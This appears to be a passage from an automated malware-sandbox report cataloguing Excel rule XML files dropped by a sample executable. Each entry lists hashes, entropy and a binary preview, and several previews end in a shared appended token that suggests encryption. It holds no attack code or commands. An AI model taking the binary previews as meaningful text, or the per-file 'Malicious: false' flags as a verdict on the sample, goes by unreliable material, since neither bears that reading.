SHA-256:	05144A47126EB445B513CF089DE22DC103F440BEBE4B9D8C95EA38D53E9D367B
SHA-512:	DDC5D1F8A2389ADFADFFFBAD695DD1D7944F732A4A67AED1DE6660B6DF9B42533DCE05F5964CCAAC3452A59A6F8AB02BFEB5554468299B6B4E620F4A17CFDA23
Malicious:	false
Preview:	<?xml....]....U........#.Y.......l..^..C.w.....k.wZ.94........)`.......f....>....~...p..fQ..q.C...N.SY......BI...M...2.r..6.......[..%.Pgw(..R.S..2..@.9h....)..V...J......R"..r.}.{.'N./ .3..C},.....?..........~....[` ..Gox..t.`.R2....k......f+..d.G....^...H9....@...ZR..p..^....R......ym...DE.'....[.O..g...l..gI.uzh..OjGJ.w.~#....k...P-MS.y.U8.........^=...q....1;...!!.F8~.=...nW=D..4..f.......zH.vm.u.C.&S.0n.p..EY.......6......}j..b...o.fL....g)s....t...C./..>f]h....Y.S..E....1(:\|...~....\|...4....e.s.......i.T.e59....?d.......M4.....2\|fm..86.av.C.J.F....Q./Z<.{.V.}3...!..Z'.....S..~oxw....e..>7..6....3ffZ.Ac.b.........Qy^...(.XB..7.drT.....8.b$>..o..^na.j...f^C;..S..9.U..^..1..f.'..%..E...t/s....P...0..1 ...%.G....~.......`..TBA...]..N.!..>.IhW..>..!.....D......%34P9...F........q..p.....V.-o.......5..i^.X.lY5\..~..g...;.. ......o..1.mK.ALd(.....m!.p. .c.............X.3.....D.C.N..,.r...)a..6..t ....l.g.K.'...~..KBkS\...).TkVHf

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.819708205220391
Encrypted:	false
SSDEEP:	24:wCTlh7u438aJXPE79ONOlKKYHSFzCSvJLz+8qrctIMA/UXw1bD:wCTL7u43DJfPNTDHSVCSvJ5Q/uyD
MD5:	10326A9AB447A69CE3B2209FD08F3491
SHA1:	5ED06D8238384DEB31443513D60D0D0D3AFB6F52
SHA-256:	25D7AF31163DF2693943517F7DD15E04E96B995BA61C0B6BDC920FCFB0CE51AD
SHA-512:	08EA14B33C3CA0D909339387D2FA1AC507ACBE81106E042C98CDECE6F4321755117B85F3AD48BF94C6A3654F9DF774EAE4B752243DE162B83F40FA9C8C1E3A4F
Malicious:	false
Preview:	<?xml..r];P........./...>..iY.....{q>..>g_G...[..R..Y.b....d...Hf+m.F......(.x]#..il......\|:.z...<.J....[...Z.[.:.eV..k....#z<..N.@..0u....k....e.,;7...'..^>.h..V.;;J.bU...'.k..`.J.B.....px.v.........s.......b..g.7......1.3..;.5..b.......:..^...W...8NE..d6.Wk.+./.H.Y0...-.".s..w.H..}..._.p.h...3.'...&T.5..KH...2_.....8...(.D..h..."...7...}4i...1${..l..A.K}.7.Z.k....>....5...#..%.m...MS.c(\....H]..<.@.......e.[k..:y.[Y..\..^z..D..'i...V.,~t...f..e..9k......#%.v...2p@}.-.x4.u%.D.[....f..$.W..aH.W............E....O.Z=..Q.s..t.....C%D^...e.B...B..n%BI............g(Gr.@...^Z.X........Wq.......K,z2.{.....X..[}&rr.HU....\.%b....,..,&...w..........."..>."..6.O...L2...C=.>gT......R....1..l... .A.>...{b}.{.!.H....)..5s..F5..:Va..>....Q..7...'.......z.y.[.V-..4EE..D.!...cG.@.]$u..E.Y...R.n;...PE}..A.B.....QW......W.a{..X.Y....ltq.z.d.,.<..".(.c.JU.+...Q.Uf.g./...t.....0K)`f. &.<.\7N.......k.1N.J.G.:`rt..ZI..&...H.)..@.].i.].a..P..d.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.890840765328598
Encrypted:	false
SSDEEP:	48:Ny3dc7tMptEgF05/cNOIejCFz2qoGu4u+OGeGxd/8yD:Nytc7u3EvkAqzZoGu4LeO98a
MD5:	B9C5DE06A8C454362FA96E3BF127BF2E
SHA1:	4137826B7103E90450190278B9BD8C1F4A042D56
SHA-256:	6931EE7B14A3047553E15498C0507D73769436C6D2AFABFC4C5C8AB4D464A5ED
SHA-512:	FC7F015012A40ADB3A152BD1390A92AAE5ADB4368CBDA718248C658D5F2E901B2714CB12B9ED744E61E3A9B25BD0BC023296D655BF7C046445EB720212C2E65A
Malicious:	false
Preview:	<?xml.4.9.z..!..l..."...+o...~+.G..)(y.V.-4..2T..`..4pNfe.~..:I0.H$..q...}.%..{...LS. .5D.?..1..W.9.Z...1....V..DJy`...D....r......K...Rv.>.FYWP....U...&...5..Rr.....\|el....B@..X::.......GS.,IBOPX2U.w.:.V.)z.....]!..{.(B6. ..g-...'....AD.D...t.>.Kmv.1t.."...%._..'bh...uI.-Q....8Rv....^\..N\|.=.S.k.:.......G.FX.>...fg.#...3.}G.fT..)c..!...Q.....c..~.Q.7.Z Z\(....^/..........T;iM..r...Q5g<..QI.@G.g..;M.5-Qb.:.FE.$.....;Z.:&7..c!]..c.p.M..n_..B..?w....f.\|.Uw....+......d...x.ek.Q..~....9.c.l\c.kuR._\|>......z.....`.IA./'....f>..G...~....F..x..A...0<...tf.=j...!O...E.....]..j,.Q..N.....L..........S..v?. ;..L...>..Uf...J..}>....K.5.<....F.g...+..9.#.!...q..V.\|Wr).I;K.X[C..1.>..1..5.F.DY.J....!..k....X7.0O....85.?w...\|I.r.P...s...*...SO...n8u.DK...<........F..........>l/]..Z.%...$y...SY.......G.........x.1\..NN.F.....@.m6..N..{heS=..c5.fR.....\|].:.....(-......N.E..x.b5!l....m...?.G...?..i.......D&(......y....T..7i.j.."'.]...8...7k.`.:..aid7...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.678430098838433
Encrypted:	false
SSDEEP:	12:00PJ1cHPeyNtdQ38784TEq7qywJmccrF4VuKEwBrWoqw1cii9a:9PYJPdQ387Hv7/LrFEuQqw1bD
MD5:	869D973CADE5C20C23A7224806E01B5C
SHA1:	B13FC3160446F6F6C85E17B44A1346DE54FFE789
SHA-256:	AF1C22585DA350459C191B11566F176763F0982F90C32DE10AC47875FD918FCA
SHA-512:	FD5345F132C9FB53C5744F80E58ACD61E46A759E0550AF55A92688993FC636B0B5BD86CD85BA29772B4A9C49C0AA1C98CB1411D17F45B541BCC5E438891ACD61
Malicious:	false
Preview:	<?xmlIZ/..............J..fYj.T..g..F.J.B..8r...r.v..P!.S.0..B'..r[oo.kVC..\|..#XJ.dBK..le.....d..Ab9D....<..3./uxz.U...b...K...@f .<m.P.......Z.R.ov....n...6Gf..U. ...gF....WF.$......`]...?L#f..!.C..X....`~...2....tL...t...{.I..%<...#...\|..Z..E.y.j.R.Q.x!5RD..o..<.g{..o.$`..5....C.&!?.....H.}.)...S..U..{J.p;.].ks.y......H0......T8.i..~.....`".:.6.G[..~..WU../I*.".&q'\Y ..U}...\m....p....a....H>..^..7<.i(....N...2f...w..Tv..VL.jwq.,...l....4..,$..}zc....{..4.m....o.......X.e$.....6..[...7.C.k.....h..J.k.<.lO..T.H6..".X...<.z..W..7..fY:.....P...n..KP....`z..{.....b.P......2.{......Ip.....iq.....m.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.887387095232397
Encrypted:	false
SSDEEP:	24:0YZ0gj91aseCQgUON9Hl/eiDV82e+oWsAmR5PMysodA95mxoJuDEAsZ+WVxyw1bD:L79QseZOfBevXesD5UhYguDEAs5VxyyD
MD5:	C2A8CB9739280F6DA6009998731E8CAA
SHA1:	8300B5EFAEAC9C280860845A7BDFE75BDDC799D4
SHA-256:	64F6ABCB8C75EECF82B912E63129EFBA2C419358148776DAAF06CE34A4C9D213
SHA-512:	071EAAD160BEA184B3B2D7C3078E1598B14C4A53EF317D247C133A3527D93D606A3FF60AF2F6C48C735F3F2674ABCCEBF553D1B4929D0E9654E0C89F0D439938
Malicious:	false
Preview:	<?xml.}..A`...@X....rE.}.gv^.j...;...[aR./\.hMG.O..\)....nA=!...6..9=.'c.V. u3=.'v...y.>..>..0.Fh....2E1aW..o2U5.. DPp..."....k..%.v3.ac\...?..9z......a..y..%..2...x.Z/Q....[.2?m...\,v........I......J.g\7.......0.R.GJ.;.4....T.;....+..v. ........#../........n.S..P..f..xK.Z.CJ.?.w...R"..L.1....\|....~.{:J0S...s..[...j...a....\|#...r../....8.'.IEr.0M.G..<....qo...&S.....1..Y....P').y...;....&..W..Q..</..F.>..Ad..N.....g....p.!.}qg......vr.D.....o.K.xE..zJ,.4O..mW.:.s8..8..K..L.l..R..X.g`.R^(.n.AC...X.x.c_...E.l.x..E .....7Rd.C .X-X.F;@.p..t.....cL.-..C.....d}..x.8..{..I.......=n&\|..^..W.j..V...Rg].Own...f.]....F...H...%. ...0..%.Y5....?E....(.g.R.%...;(...HK.p=M%K....J......J......#.C5gn...9....X.b.YX!.QG.5..q..t.b.....Dy.A..?..oZ..A.<.m'..,..\.....X..<....Q..P..9...y..K.I......+\.&+1.I....-...e....?.IE..".......2.*.h..._9j.g.../A.D....e.I2VbP....V./.-.S....."..1k.m./....`.r....ul1.r.\|..\..z.-A.bc..u.._.........b...Y..mU..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.914265933012436
Encrypted:	false
SSDEEP:	48:0Rbnr/Z/ACu/sF4h4jmZ+ODkJ5b6ZDV07/5yD:0RR/jF4h4m+AAl6RGda
MD5:	171C5169477852091080E80A72E84E65
SHA1:	1C4942E1F13EBEFF6F005AD5321FE9913C4EB0A4
SHA-256:	8CB54E18BCB1392A188622C6F58B4E6B61C89834537A83567DBDB4DFB8D06FAC
SHA-512:	3D1D1D1A3A5BFF93F646B80525B68FD3AE63B99866C7248376BE902A26F9E01816E9C5756112BE5782435B006BB534DB24A1AD0F877787B41D1879A86C9A7019
Malicious:	false
Preview:	<?xml..&l.w7..+U............N....ju.[.a..E.d..U&......-...2Y(...k{R......j.C.,...../g..-.n....6....S3...8..Hh.~.k.......}..;p.y...,VZ.x%..9..0....g}...........6.]...v%.$.^.m.."....#.Tr9.g..+.(..Yo.....-..7..]]....M..k.Lbp....2.;8.F.iR.../..Fd..D2..........q.-0.Q.e.5...n(.D.?A.'\O\|a....#%.,..;.]...........0/.h....t..)d..v.oRI.......%.F...J>7N./.....&..O..4/.....E.>...R.....C_.e.g'n.Hi..ra:...T...5...N;&'..$.?....2..=.G6~..;.~.6o..!2..e.!{.......4.h..4..K.s.w..{.:...!.....Lv......f...q%....?.k.s7.zI.....%...~<...u...]...m.n....\|...`..o....i...9{...~W!...u..v..>...Cs...QP&Dn...8.F..({R,I..W....IYG 3....)y...:.w..B.h.>..$..`.'..X...h..14...R...\|..'.U..'8z t'.A.\(...]6..T.1{..I..`c.m.J.....B....F.vk.;.p...'U.r\|q.I=AlL..YM.O4\.,.d..<..<.....+r+.......oi`..3.. X.S......#..9.3.4..6...n...1.eK!..i....r..bs=Hw...........w.B.U..J.j... ..K.,w......S...a...y....{.R..Q4....E@Z.E..b%XP.N...k_.HD........3..,I).i.4..we...1.../._..i..........\q..X....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.88210545088171
Encrypted:	false
SSDEEP:	48:UXYev9co7ug7BjONyrGBlIMaBwoXipuZX1rcdOyD:UIev7Xtj6yKlA6FcXZRa
MD5:	8E3D53D35DFF36EB093FBE4648022127
SHA1:	A5CA96D5CD2FE6550DDC8EDA5B7C4E1F8F89D356
SHA-256:	18F375225714F31DF276FE7A44C18E953645BF1C5E1EACE338F4AEE6379910F4
SHA-512:	A9B366CCE2FBDAD921F6866CA67734F133EC5A77B8B88445AD35E0D15BD991C14A81B9B9164C5EECE0BE8F965F7A19A902FDCA877CF52F86405D4B51FABE8898
Malicious:	false
Preview:	<?xmll....Y...gp.s..c.].y...a%.."su.N..C.b.......sZ..L.k..].2>`.._.".<..:1._.eG^.<N.g..R3....I...;..[..q.g.8..1..w..}.'G.@...S.]..._..~..C. TW..(.#f.J.?.Qqe..t...P....v..2...<....1~'0p.i..#.m.+."..ew2..I..(...x...+.&..o,....skQ...%.....4Y....2.....'.v...1.@ub~.^F...(.4.j...U.vF&n.DQ..b.#B?.....4.$..XZT1.E...._.NJ...V.Q....pW../.......E.....D......3..l'qEw....*...;x.. ....I...V!.hN~......J4.....Y.J.G..q ..$..,\|.FfQ....:E;.E.O.(ST8^..~.{..')9..T/EH.........-:6./....A.......6.=......Pi.....z.....5..._.......)..I...-%..G.9.u2.N....dH....&.........DM...r.)..W.&.N`....:p.#..8a..=.@....:L.."....a.+L.z7..O$......Il`.3.{Hv.,7.. ..+T+1p0......[l\|..j.s...e...T..P..]...v...\....X.c.R..SUJ4.>............$..1..S1:.(!.K...K.....t..H.&bsv._L.h.Zi)...y..!.L..W.E;..d..3.f..'.$...khY..`..........=.0Z.....qE3\.2.?..r.c...k.Z.{.s`\|........q......=B.."Z&.\|...qY2.uWw....Hxa.Y.8.A..Y.n..~.s..f.fP...d...uDD.U...e;..W..../T3?.A..^)B...%.qBP(5......S.[.......e..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.747276504020897
Encrypted:	false
SSDEEP:	24:YtPhR1pESnN3ZhKbIvBM9x+UQV0HBHdWs15w1bD:Yd3vHKCBux+UA0HBHdWEyD
MD5:	BCA221A176C5A9D9C319CDE4956C8A96
SHA1:	3339C4F02E50DDDE0DDB0C69C4406CA5D521994C
SHA-256:	36A07A5A10E68F719A96AF84DA9791E941E0586E96C5029EDE0C042F5CC79C73
SHA-512:	9FD322A936D61C1A61BFC7D6340225A90171280C11DFBBF896BB9833646A03474983E5B0A1220E5B4311A7520A767C79E206BB5ABBA51FC0B135AC882204766B
Malicious:	false
Preview:	<?xml.v+S.#........x.)K..X.V..[O..4...I}....}.:.oDB..I".D...X.w.L....yv......W........p...].....f...D..<pG.w8;S....nN..{~^.......~...p/.PG....../...MnzU.V4.[..DyV...{...h.\|......EH.67.r.S..M...d..'.c...I.V.3.ZT...F...:L..4S........L3.Rc.X.}.]g.N.f.\j..&M.UfM.ud]R..U.Y....?.P:(.t.;5=Fab]..5.zsO.D.<.D#+g..d.......p.......Kw...........1n.3.Tm.b.{..Z.]..zu.CC..R.c.......@Xd...eeV.....#.2..N@..#.c$..c.......r\|..j.qm.?.@..;.[.^h\............r`T.\..q.F.j.. ..6......u..`..Q.Iw;...N..<.....b].....>k..'.q....X.\..*.V..eF.k..H3..f&..&...u.s.......CvNC...q..H..Y.:uPE..;)..fh.Kg-H>E\|..6...W....E_#o.@.R.@./.R.....7.Z )+5....&..+..~Bx.3......#.....5..d.%uA'&.N.............Cj.Ci)..j....&.1.5.a....QD.".O?.iY..D..N..h~.L3.N>;+...S.i\p.z9H........W.....a}.K.43}...h.#L.+..x...#.C.D.......{.n.gg./(P..#.k.v5\|X...%.N...>..w.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.775915294628486
Encrypted:	false
SSDEEP:	24:wqhqGLU1nsFRxHuOjhPhpPUKqoxUzavddTw1bD:ZhalsFrBNw2vddTyD
MD5:	8975FE4D978E96B2C8C1DA961ADE4A7C
SHA1:	1CAAFD95F3822E8B8A92089B84B408DC2831EE5E
SHA-256:	261DAFBE03AE0C879D93ED4665048BEFF358F4C9BED1FBC9C963DB70D80BCAF4
SHA-512:	6A53965E834D667039D6796A6299C83E71C94CBA9559D2AC87562361BCC6660C7CD88DBF5CAB249F70BA97ABF233688FC05F4D5176C4351027C9A312FBB009A6
Malicious:	false
Preview:	<?xml,.....t...".4W.d?..CD...A..FE.xR.7.[....d.6..2.P.W(U.&.Qr...........5....#x......S.F.yl.=...../K..1t..~.r....<Q.Z.r.....q....b.s;G.,t..W..n....'......(;.fm...Q...D..6/...g3Kx.UA..K..woM..x...`..N!P`PYP..7g6G..J..D..A.........=...t.by.:.H.T&#.a.f.2pa..(\|.X.m.+w.1.G+/..d).........-u..HHFw..j.Za...X... ....fV.=... ..:...m.W....y.x.m.....X..\|0g....vA....;.`...V..x....eH....>.s.q..6.]Rn:.&..q ..dOn\+N....>..L.k.t.\|d../KE'..6...q6..R.[..+$..2}B.....S..Gb.w..<."1.V../....B.p2T..t...i<4...0.N..[6.V.!vX..,..n-....V.Uq...6...Js<....X..[q...........Aq.....&M.7l.[6!."_..:.?3..c7.l.ekdS.....r..j..%..P...97j....}.p>H[h......D...U.vJ..P.c...=.~G.....u....'....M)PV....X7...Q..\|0.M..yT..2.c....;_..QX.T.6.Y..E...B.&H......"..BY..d..B.&.....i...g.......b.a5.,w...\|..../.T.....#..........(../.p%.3y.Fjp.......Z..m..9x_....I....M.b..A..\a.9..A*-@...qa.Zf.....^@...A...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.913566129871693
Encrypted:	false
SSDEEP:	48:Khso4LGd0ioEFOplQchoatqNAK/X3FK8phKzNjyUFujJvmH9iG//mjyD:KhsoYGd0ioEFOpbfRYnFzpAzRzOih//D
MD5:	1180B4E3815806BC2B3D7A548CF2A6BF
SHA1:	6DF307964A6AE8076C599DB713949AF0DCAAD129
SHA-256:	1A39FA9DD0CAEB311D49650BF2215DB4B5646E811476B3D5E8FF674985C1C76E
SHA-512:	6A04DB217666A4D0381D7F827048E0AD1D7B39CD8A505BC4F2B36BC374931A3F3A645704AC0E3A6343000652064AA0D8C844ECF5947B8805D016F3F6EBCD2512
Malicious:	false
Preview:	<?xml'.....Q...{....=..!....-...V`....m...n...Y...]...aTr.....ri..I...W.6.q..8MJ`...A....z...A.`...jJg_b...j.....J..gmW.._...\|.W.#.<H.tw..).k.p.{.5.?..A!=...@....$H...........W4.3fb....4^...&'vD.". ..'..V....y..$].4...L-..pZ.{Y.^.0+<E...h..~a.?..4w.E........$...c....V.o..7u[.C....N.G..7)]p77^i..-?..FxB.!......G$....s\|N.s.I..F(f.d.h.......vr#MJ.z.T.....&...Mo..Bg!`.u....mo....-ZGF..Q...S.a.....vR..,....{.xw.,/B..9$...Z6.]..,\.iY8..?.d{.\.k...ZY.6...>......\|i.s.....K.g..b...Y.........?6...c....vq.....r3&..9CeN._.k..}...)Q>.~....L........?......X....."..5.,.....3.Y.(.Hm...\|....$.F...i`...V.....0Q..'Q.........4.....5.....{2..8..1{...r.J./P3.V.s.=..Y..._.V.\|...G.k.b..0.4.GX!uQ+%c-=S..1.$..v...l..>VM..N/..!....HA9..@....f.....V....&..~.\..C...$..S.....K...../y.....#W.O..0..,i...P..}...3.....>..~..RhHv*..v.^V......@&.(.".....^..?.;\|.0UR...........fM..n.#L.>.Y..9bY...C.L..5. ....".pY3.q.;.Ut..1.L.....`l?..W..L.P.=A.D.\-<.;..%=....@..H_DR...[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.891981253326852
Encrypted:	false
SSDEEP:	48:a2M9HX+bkluuQ9fLjHqL7JhPWozm+zECepx9vJH2yD:893ne9fXHC1ZWBHCep3BWa
MD5:	893A4D460A8FDF269A5CB918776E6045
SHA1:	BEC1D36DAA62D993C6BB6E59597BB00CD1131FA9
SHA-256:	15C13E0BDC07EF8E72263FCC71E5D0442D509A8437DF74693FAE4B0FD8F7F098
SHA-512:	090903F0C239AC998AC33B1D244CA1045751EED1D2B4639DCFD271F1417A784CC9047578474D7F59D7B1A9005B1341631AAFC8EBFF68403D126FC7DEBB10A488
Malicious:	false
Preview:	<?xml`..,Dtf...o.%.[..KmIRG....1lc.e.3.zs..'..,.M.87B...,E.y.&...$..xo.`OSUX...\.k.k.....?..).A...;u..._...pG..^.`.....'<b....K...c.j....+.-...O..3k........8.......b..;.......~....5.h...J.`.......J.~....f..Zs....\|...B.`...v......R6A.+............./.)7.tcj.+(e...t..Q...!. q...\g.N..D.E........I\..ut..D/..i,2..V........W.O...%7...C..o...E....S...fz.`.9f..o.9......H.JA.%.4\o..._.......Y...~!..S....3....7..h..Ps.l3.......H&../n....sqK.T....rp2Vk...h....-`\|]..Px.mQG.S...I..J..W..N....M..}..x@H.6'...gw.....73p./..-..._Wk2....P......d..Wq.`./.x6..4...sv~.).vL.-z...@........Lr7. ....B...6b.4u.~@.{)BM...KV.........".. .@...\1z2.}u..b....p....D...^.0....B.....@5..6...... w._../M..v..%KBC.AA.._h?^#.]..Y.d..,.AsN.QZ.C{.s..M......J.)..V\.u...p..r0........V'..}.y.....[M.$....La..0...b.Z.$W...<c..h9....x..t.:......5M.)q.......9..<8..>V..zw.....g..F..y....r.Y...........K#.g...&..\|.=.....y..C..}.X.{....'r.p.??.....\|!.).b<..H...N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.752798719249874
Encrypted:	false
SSDEEP:	12:WtBf9x44enTAYfGYYJqOqoUK23hqbMlE9mauqI7FLL6h25YeqO8PMeDSPD2oqw1X:W/9GGYYJqdouRmh25YeqOwDWmw1bD
MD5:	7E9BCA0519F0EBB063D5D44241ED635D
SHA1:	03B4B7696F43D9EA264B05ABBEAAC6B1B0149B80
SHA-256:	007C8CE7BABF7A0DCA7B9F2D47918A94FB5EA2B8210328A254BFE088BFDB35BE
SHA-512:	166ABB88346A03C3B02C27930276E55563F1A0C739C064E81599829C7C3F8BDC3CE84042710F18126DCE573D116944C4B00798A0860CD3C2B2C51DD013166933
Malicious:	false
Preview:	<?xml...q..;Q^.03...P....z..8i..Z.....>.ZR,.%.?...o..J).N..z.A.'.=[v.......f!?../1.^.......m.....=....R....'..-2.?..cY./...<...W ....H:.a...Y..lZFQ._O \|6.D..dE.O....c.X......ll.W...3w0..k..p..gQW..i~l1).@..'pgq.@.F...^.{.M...xv...s..+..t.4aI...../...f....s......6./..=.'.+.kxG5..\.s.:..4.;O....p...fY...@.BS..2....w.......sD.j.!!..6..Y..\|.WQ.`...H/..Y..I.....,.(M...G.+.....p....}c..w.w.E..j.f...,...6..c...w....i......d..0l.gdF..w.@hJ....(....@.7C.y....M.S?....g.c.Q....._....J..k7E..W.v.~:]/...A..G..b.yE.=.<?........g....Z\..)..7.+81.B..D.......4wEz...[m..s..'..d.a.<.,,..t..E.I..F.;.7S$...A.^ (v85q..s\.E...\|.l.E..).$.J^.o5...P.,!..K. .77..*..J..#...=...c....V#.E..+..........(.U/.+......^.0...y>.H..o".".%.X...{rqq$.7....y.e.4`H^d.........o.K.C<p.dI.j...v....5...?`}..4t.L'....(.:.F{.Mq..)+..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.7564893253402145
Encrypted:	false
SSDEEP:	24:OldtgUgkD4gOaZvCJ8CasChTlbOcpUvPVYjUhfw1bD:OtgvgOaZaJszhTBOcp+VYSyD
MD5:	09D3D2A74443F6B3BAFD921CE193A442
SHA1:	3FFA2CA9DD596A6DFAB6158A239621B04DD102FD
SHA-256:	EF2D6F5BE7F17F3994E909D9452C2886364A74ED54FEA7C84D075E8D6099B0A4
SHA-512:	C01375CEA81434368C9B83CD54DC054E3ADA498AC0B482BA328F23FB93E3C4C316EBB8E1F7BEBA711C2516BDB174464C2D4AA6AC677D85563F66E5FC01E3DE4D
Malicious:	false
Preview:	<?xml...4.....S%{..b...E.\|..."T.G.L..+.H...Pr8.........H...x@..%..S..........*.5....7.m:.....`...UU.l.3:...;.}....X..sSy..-!.....o.q........N_n...s:...8.SK..$P.a^y>. .y.'.e..-..5M.k.....x>i.z7.N\|y..Hz.g.{. .....P.5..2...{......;@.SD...o........t.2e..$..X....8]../.wy',;.XQ.....7.....8...?.L...c...m`_.....N:J..R{V...9..... =...3<.....MP#.i+.=-K..a...a.M.]Y.......hE'..z.iC.]G...-.r...Q.?p.....-....a.D.w....~..KK."..z..O.z..+........%.:7O....!..{..U.P@.O....\4#U...v..i.H.j.G8...5..\...Ik^.3.'.0r..9..n,5.....7...H..6.s.7.!..M......'....v.M5...&..L...i#..,...L......xs..1.3.w..}F.0..#U<.E...G.......1.&0Ia?...v.~...+.x>...I.....CK.R-.....]....v%.=9.F.>..M._....V..g7$...i&^..cg/......P..yc...<.OAM7.[i.V.B4..c..UR...5...t..1...r._.....(.Yn7.6v....S.7..............y..u..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.817424303398934
Encrypted:	false
SSDEEP:	24:YMfklUe4E1U6uoXf3qs51579pfOof236WY/Iouw1bD:xVe4IULoXf6O79gDqfAyD
MD5:	B0850C774FBC3DBA40DB2804E1AB98E8
SHA1:	9F66BDD4A3E4D4A642AAB0F633B1721F8E1C04AC
SHA-256:	6DEDE7EA15D78DE20E2B11A2CDED218E233A4322ACF733D641A60741170EF788
SHA-512:	685B8DDAA46E9E8C54269DF776629032D7E75091A195E1DACA0821BEC05A3E12562BB5AD1752DCF07DC50941FCD62E29C3C1D2E1329D2518DBA324F6A7DA4F7F
Malicious:	false
Preview:	<?xmlW..-Z.Y.P...i.A=[..%......k}....(.:A...H........B..r.R.T.[..5....^w+.N...@.3.I.....`....."[..c.W,KTc".bji........(.A}..!0.4/..P.N.3....>:5..w.{X....sL............>..t...r..j..V...P..j..$.)..G.{.ym.. .x.5.<tV..........(X.LR.s...9...cF.rqkq.{Q.:..;x~..;b.S.<...y...\|.".....].Rs.2.99K......~..........3.+...P........b..s..e....../u}.t..:...aR..4.......B..B....G.._.S..x...U~..v.@q.A............../B.F...aa%..(P...F....o_..."..u.~\.6.x.._py.s.H...E$..^........[........0..q....s.%....l..]3\.Vp<MT....L.p.....-..M.X........CA..G&.umfk{.........zVk^D..g.#.4.....P..^.[.I...Qg...{E.vq.8:.n.F$.2.(...P&H...&..rs".....5.k@;...6s...6..+..$U.N..b:.\.~.]1R.c.d.:...U..==k]...q.$..K.-.......DG\N..=.q%......L.'/...5T..U...p.....D0.~ ...s.[F...n..S`....O.~.E}W[.?J6!.....@.+..L./.!.=!.6..f.QOF.}...A?.<R....{..&.L..8)....vr..}.v../.N~....i.\....!.....hTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.682221274897353
Encrypted:	false
SSDEEP:	12:Yh5afRrEsTM9JTWvzY7PjwtqMIbig86nCCm9fmfiDmxFqmw6UqnnUz8LJ2m9gTrY:YhaCtJTWvzSjwAZbndCCm9QiDqFqmw6h
MD5:	F070F562B439FF0133F8F639BEC8410C
SHA1:	48D84E4137BEFDF76644704A24ECDA4C68812DF7
SHA-256:	E5812420B89020426D8D003ECE149D64F926B2011AD43C420471AD0294ACD481
SHA-512:	BB5D6DE4D584345519751061D84D2794983F0DC2D8F48B677FA77A5A3D3929E8C5934881DE29018FAA13C5AECAFF1D59F087ACDC7703E44E6C5941A5FE259F2D
Malicious:	false
